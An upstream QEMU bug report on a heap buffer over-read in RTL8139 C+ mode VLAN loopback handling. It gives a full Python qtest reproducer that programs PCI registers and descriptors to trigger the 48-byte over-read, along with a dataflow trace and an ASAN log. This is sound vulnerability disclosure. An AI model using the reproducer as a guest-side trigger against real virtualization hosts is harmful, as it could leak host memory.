<!--This is the upstream QEMU issue tracker. If you are able to, it will greatly facilitate bug triage if you attempt to reproduce the problem with the latest qemu.git master built from source. See https://www.qemu.org/download/#source for instructions on how to do this. QEMU generally supports the last two releases advertised on https://www.qemu.org/. Problems with distro-packaged versions of QEMU older than this should be reported to the distribution instead. See https://www.qemu.org/contribute/report-a-bug/ for additional guidance. If this is a security issue, please consult https://www.qemu.org/contribute/security-process/--> ## Host environment - Operating system: ubuntu 24.04 - OS/kernel version: Linux VMware-Virtual-Platform 6.17.0-29-generic #29\~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon May 11 10:30:58 UTC 2 x86_64 x86_64 x86_64 GNU/Linux - Architecture: x86 - QEMU flavor: qemu-system-x86_64 - QEMU version: QEMU emulator version 11.0.50 (v11.0.0-1063-gac6721b88d-dirty) - QEMU command line: ``` ./qemu-system-x86_64 -nographic -machine accel=qtest -m 512M -nodefaults -device rtl8139 -qtest stdio ``` ## Description of problem A heap buffer over-read occurs in the RTL8139 NIC emulation when a VLAN-tagged packet is transmitted in C+ mode with TxLoopBack enabled. The receive path reads up to 48 bytes past the end of a heap-allocated buffer, leading to out-of-bounds memory access. ## Steps to reproduce 1. run Qemu with: - ./qemu-system-x86_64 -nographic -machine accel=qtest -m 512M -nodefaults -device rtl8139 -qtest stdio 2. run qtest command via stdio input or use script following: ``` #!/usr/bin/env python3 """Independent reproduction of RTL8139 C+ mode VLAN loopback heap-buffer-overread.""" import subprocess import sys import os import glob QEMU = "./qemu-system-x86_64" WORKDIR = "./test" # Clean old ASAN logs for f in glob.glob('/tmp/asan_independent*'): try: os.remove(f) except: pass asan_prefix = '/tmp/asan_independent' env = os.environ.copy() env['ASAN_OPTIONS'] = f'log_path={asan_prefix}:halt_on_error=0' proc = subprocess.Popen( [QEMU, "-nographic", "-machine", "accel=qtest", "-m", "512M", "-nodefaults", "-device", "rtl8139", "-qtest", "stdio"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=1, env=env ) def send(cmd): try: proc.stdin.write(cmd + '\n') proc.stdin.flush() return proc.stdout.readline().strip() except: return "ERR" DEV = 2 IO = 0xC000 def pciw(off, val): send(f"outl 0xcf8 {0x80000000 | (DEV << 11) | (off & 0xfc)}") send(f"outl 0xcfc {val}") def iow(reg, val): send(f"outw {IO + reg} {val}") def iol(reg, val): send(f"outl {IO + reg} {val}") def iob(reg, val): send(f"outb {IO + reg} {val}") def ior(reg): return send(f"inb {IO + reg}") def mwl(addr, val): send(f"writel {addr} {val}") print("=" * 60, flush=True) print("Independent RTL8139 C+ VLAN Overflow Reproduction", flush=True) print("=" * 60, flush=True) # Step 1: Enable PCI BAR and bus master print("[1] PCI setup...", flush=True) pciw(0x10, IO | 0x1) # BAR0 = 0xC001 (IO space) pciw(0x04, 0x0007) # Command: IO + BusMaster # Step 2: Read MAC (and confirm device is alive) print("[2] Reading MAC...", flush=True) mac = [] for i in range(6): r = ior(i) if 'OK 0x' in r: mac.append(int(r.split('OK 0x')[1], 16)) print(f" MAC: {':'.join(f'{b:02x}' for b in mac)}", flush=True) # Step 3: Enable ChipCmd (Rx and Tx) print("[3] ChipCmd...", flush=True) iob(0x37, 0x0C) # RxEnb | TxEnb # Step 4: Enable C+ mode with VLAN print("[4] C+ mode + VLAN...", flush=True) iow(0xE0, 0x0043) # CPlusRxVLAN | CPlusRxEnb | CPlusTxEnb # Step 5: RxConfig promiscuous print("[5] RxConfig...", flush=True) iol(0x44, 0x00000001) # Step 6: TxLoopBack mode print("[6] TxLoopBack...", flush=True) iol(0x40, 0x00060000) # bits 17+18 # Step 7: Set up guest memory structures print("[7] Guest memory...", flush=True) RX_DESC = 0x10000 TX_DESC = 0x20000 TX_DATA = 0x30000 RX_BUF = 0x40000 # RX descriptor: owned by NIC, buffer 0x1FFF, rxbuf=0x40000 mwl(RX_DESC + 0, 0x80001FFF) mwl(RX_DESC + 4, 0) mwl(RX_DESC + 8, RX_BUF) mwl(RX_DESC + 12, 0) # TX descriptor: FS|LS|EOR|OWN, size=20, VLAN TAGC, txbuf=0x30000 txdw0 = 0x80000000 | 0x20000000 | 0x10000000 | 0x40000000 | 20 txdw1 = 0x00020000 | 0x0005 # CP_TX_TAGC | VLAN_TCI=5 mwl(TX_DESC + 0, txdw0) mwl(TX_DESC + 4, txdw1) mwl(TX_DESC + 8, TX_DATA) mwl(TX_DESC + 12, 0) # 20-byte packet: broadcast dst, MAC src, ARP (0x0806), 6 zero bytes pkt = bytearray(20) pkt[0:6] = b'\xff\xff\xff\xff\xff\xff' pkt[6:12] = bytes(mac) pkt[12:14] = b'\x08\x06' # ARP ethertype pkt[14:20] = b'\x00' * 6 print(f" Packet: {pkt.hex()}", flush=True) for i in range(5): mwl(TX_DATA + i*4, int.from_bytes(pkt[i*4:(i+1)*4], 'little')) # Step 8: Set ring addresses print("[8] Ring addresses...", flush=True) iol(0x20, TX_DESC & 0xFFFFFFFF) # TxAddr iol(0x24, (TX_DESC >> 32) & 0xFFFFFFFF) iol(0xE4, RX_DESC & 0xFFFFFFFF) # RxRingAddrLO iol(0xE8, (RX_DESC >> 32) & 0xFFFFFFFF) # RxRingAddrHI # Step 9: TRIGGER - write TxPoll print("[9] Triggering TxPoll...", flush=True) result = iob(0xD9, 0x40) # bit 6 = normal priority transmit print(f" Result: '{result}'", flush=True) # Close stdin to trigger QEMU exit proc.stdin.close() import time time.sleep(1) # Collect results try: proc.wait(timeout=5) except subprocess.TimeoutExpired: proc.kill() proc.wait() stderr_out = proc.stderr.read() if proc.stderr else "" stdout_out = proc.stdout.read() if proc.stdout else "" # Find ASAN logs asan_logs = sorted(glob.glob(f'{asan_prefix}*')) asan_content = "" if asan_logs: for f in asan_logs: with open(f) as fh: asan_content += fh.read() + "\n" # Save full report report_path = os.path.join(WORKDIR, "rtl8139_independent_report.txt") with open(report_path, "w") as f: f.write("=== INDEPENDENT VERIFICATION ASAN REPORT ===\n") f.write(asan_content) f.write("\n=== STDERR ===\n") f.write(stderr_out) f.write("\n=== STDOUT ===\n") f.write(stdout_out) print(f"\nReport saved to {report_path}", flush=True) # Check results asan_hit = 'heap-buffer-overflow' in asan_content or 'heap-buffer-overflow' in stderr_out if asan_hit: print("\n*** ASAN HEAP-BUFFER-OVERFLOW INDEPENDENTLY CONFIRMED ***", flush=True) sys.exit(0) else: print("\n*** ASAN NOT CONFIRMED - checking output ***", flush=True) print("ASAN log files found:", asan_logs, flush=True) print("First 2000 chars of stderr:", stderr_out[:2000], flush=True) sys.exit(1) ``` ## Additional information Dataflow: ``` rtl8139_cplus_transmit_one() │ saved_size = 20, dot1q_buffer set (VLAN tag inserted) ▼ rtl8139_transfer_frame(s, saved_buffer, saved_size=20, dot1q_buf) │ iov = [12-byte MAC] + [4-byte VLAN] + [8-byte payload] → 24 bytes total │ buf2 = g_malloc(24) ← heap allocation (line 1770) │ iov_to_buf → buf2 = MAC(12) | VLAN(4) | payload(8) │ qemu_receive_packet(buf2, 20) ← size is 20, NOT 24 ▼ qemu_net_queue_receive() → qemu_deliver_packet_iov() → nc_sendv_compat() │ iov[0] = { .iov_base = buf2, .iov_len = 20 } │ buffer = buf2, offset = 20 ▼ rtl8139_receive(nc, buf=buf2, size_=20) │ size = 20 │ buf[12..13] == ETH_P_VLAN → VLAN detected │ dot1q_buf = &buf[12] │ size = 20 - 4 = 16 │ 16 < MIN_BUF_SIZE(60) → size = 60 │ │ pci_dma_write(rx_addr, buf, 12) → 12 bytes, OK │ pci_dma_write(rx_addr+12, buf+16, 48) → 48 bytes ← OVERFLOW │ buf+16 to buf+64, but buf is only 24 bytes! ▼ ASAN: heap-buffer-overflow READ of size 48 ``` ASAN Report: ``` === INDEPENDENT VERIFICATION ASAN REPORT === ==1612954==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases! ================================================================= ==1612954==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5030000d5688 at pc 0x718d412fae26 bp 0x7ffd64667490 sp 0x7ffd64666c38 READ of size 48 at 0x5030000d5688 thread T0 #0 0x718d412fae25 in memmove ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:98 #1 0x5e900248896f in flatview_write_continue_step ../system/physmem.c:3281 #2 0x5e9002488acd in flatview_write_continue ../system/physmem.c:3299 #3 0x5e9002488dd7 in flatview_write ../system/physmem.c:3330 #4 0x5e90024899ef in address_space_write ../system/physmem.c:3450 #5 0x5e9002489ab8 in address_space_rw ../system/physmem.c:3460 #6 0x5e900201966f in dma_memory_rw_relaxed /home/agent/Desktop/qemu-scan/qemu/include/system/dma.h:87 #7 0x5e90020196d5 in dma_memory_rw /home/agent/Desktop/qemu-scan/qemu/include/system/dma.h:130 #8 0x5e9002019847 in pci_dma_rw /home/agent/Desktop/qemu-scan/qemu/include/hw/pci/pci_device.h:260 #9 0x5e9002019923 in pci_dma_write /home/agent/Desktop/qemu-scan/qemu/include/hw/pci/pci_device.h:298 #10 0x5e900201cb02 in rtl8139_receive ../hw/net/rtl8139.c:1049 #11 0x5e900259934e in nc_sendv_compat ../net/net.c:823 #12 0x5e9002599962 in qemu_deliver_packet_iov ../net/net.c:870 #13 0x5e90025a1126 in qemu_net_queue_deliver ../net/queue.c:164 #14 0x5e90025a1396 in qemu_net_queue_receive ../net/queue.c:193 #15 0x5e9002599129 in qemu_receive_packet ../net/net.c:793 #16 0x5e9002020422 in rtl8139_transfer_frame ../hw/net/rtl8139.c:1776 #17 0x5e900202347e in rtl8139_cplus_transmit_one ../hw/net/rtl8139.c:2341 #18 0x5e900202364c in rtl8139_cplus_transmit ../hw/net/rtl8139.c:2368 #19 0x5e9002024ccf in rtl8139_io_writeb ../hw/net/rtl8139.c:2751 #20 0x5e9002026476 in rtl8139_ioport_write ../hw/net/rtl8139.c:3292 #21 0x5e9002455631 in memory_region_write_accessor ../system/memory.c:491 #22 0x5e9002455cd3 in access_with_adjusted_size ../system/memory.c:567 #23 0x5e900245e91a in memory_region_dispatch_write ../system/memory.c:1547 #24 0x5e900248d172 in address_space_stm_internal ../system/memory_ldst.c.inc:85 #25 0x5e900248d36d in address_space_stb ../system/memory_ldst.c.inc:104 #26 0x5e90024478e4 in cpu_outb ../system/ioport.c:65 #27 0x5e9002499f10 in qtest_process_command ../system/qtest.c:480 #28 0x5e900249ebe0 in qtest_process_inbuf ../system/qtest.c:778 #29 0x5e900249ef65 in qtest_read ../system/qtest.c:787 #30 0x5e9002d32e60 in qemu_chr_be_write_impl ../chardev/char.c:247 #31 0x5e9002d32f0f in qemu_chr_be_write ../chardev/char.c:259 #32 0x5e9002d3829b in fd_chr_read ../chardev/char-fd.c:72 #33 0x5e9002a9f5d9 in qio_channel_fd_source_dispatch ../io/channel-watch.c:84 #34 0x718d40f4445d (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5d45d) (BuildId: 116e142b9b52c8a4dfd403e759e71ab8f95d8bb3) #35 0x718d40f446cf in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5d6cf) (BuildId: 116e142b9b52c8a4dfd403e759e71ab8f95d8bb3) #36 0x5e9002f5f1e5 in glib_pollfds_poll ../util/main-loop.c:290 #37 0x5e9002f5f362 in os_host_main_loop_wait ../util/main-loop.c:313 #38 0x5e9002f5f687 in main_loop_wait ../util/main-loop.c:592 #39 0x5e90024a4a29 in qemu_main_loop ../system/runstate.c:945 #40 0x5e9002d77581 in qemu_default_main ../system/main.c:50 #41 0x5e9002d776d5 in main ../system/main.c:93 #42 0x718d40a2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #43 0x718d40a2a28a in __libc_start_main_impl ../csu/libc-start.c:360 #44 0x5e9001b3a0f4 in _start (/home/agent/Desktop/qemu-scan/qemu/build/qemu-system-x86_64+0xaf90f4) (BuildId: b4fdb6297165c250c0e4f0f619e0f1cc2f1fbd50) 0x5030000d5688 is located 0 bytes after 24-byte region [0x5030000d5670,0x5030000d5688) allocated by thread T0 here: #0 0x718d412fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 #1 0x718d40f49ac9 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x62ac9) (BuildId: 116e142b9b52c8a4dfd403e759e71ab8f95d8bb3) #2 0x5e9002020371 in rtl8139_transfer_frame ../hw/net/rtl8139.c:1770 #3 0x5e900202347e in rtl8139_cplus_transmit_one ../hw/net/rtl8139.c:2341 #4 0x5e900202364c in rtl8139_cplus_transmit ../hw/net/rtl8139.c:2368 #5 0x5e9002024ccf in rtl8139_io_writeb ../hw/net/rtl8139.c:2751 #6 0x5e9002026476 in rtl8139_ioport_write ../hw/net/rtl8139.c:3292 #7 0x5e9002455631 in memory_region_write_accessor ../system/memory.c:491 #8 0x5e9002455cd3 in access_with_adjusted_size ../system/memory.c:567 #9 0x5e900245e91a in memory_region_dispatch_write ../system/memory.c:1547 #10 0x5e900248d172 in address_space_stm_internal ../system/memory_ldst.c.inc:85 #11 0x5e900248d36d in address_space_stb ../system/memory_ldst.c.inc:104 #12 0x5e90024478e4 in cpu_outb ../system/ioport.c:65 #13 0x5e9002499f10 in qtest_process_command ../system/qtest.c:480 #14 0x5e900249ebe0 in qtest_process_inbuf ../system/qtest.c:778 #15 0x5e900249ef65 in qtest_read ../system/qtest.c:787 #16 0x5e9002d32e60 in qemu_chr_be_write_impl ../chardev/char.c:247 #17 0x5e9002d32f0f in qemu_chr_be_write ../chardev/char.c:259 #18 0x5e9002d3829b in fd_chr_read ../chardev/char-fd.c:72 #19 0x5e9002a9f5d9 in qio_channel_fd_source_dispatch ../io/channel-watch.c:84 #20 0x718d40f4445d (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5d45d) (BuildId: 116e142b9b52c8a4dfd403e759e71ab8f95d8bb3) #21 0x718d40f446cf in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5d6cf) (BuildId: 116e142b9b52c8a4dfd403e759e71ab8f95d8bb3) #22 0x5e9002f5f1e5 in glib_pollfds_poll ../util/main-loop.c:290 #23 0x5e9002f5f362 in os_host_main_loop_wait ../util/main-loop.c:313 #24 0x5e9002f5f687 in main_loop_wait ../util/main-loop.c:592 #25 0x5e90024a4a29 in qemu_main_loop ../system/runstate.c:945 #26 0x5e9002d77581 in qemu_default_main ../system/main.c:50 #27 0x5e9002d776d5 in main ../system/main.c:93 #28 0x718d40a2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #29 0x718d40a2a28a in __libc_start_main_impl ../csu/libc-start.c:360 SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:98 in memmove Shadow bytes around the buggy address: 0x5030000d5400: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x5030000d5480: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd 0x5030000d5500: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x5030000d5580: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x5030000d5600: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00 =>0x5030000d5680: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x5030000d5700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x5030000d5780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x5030000d5800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x5030000d5880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x5030000d5900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```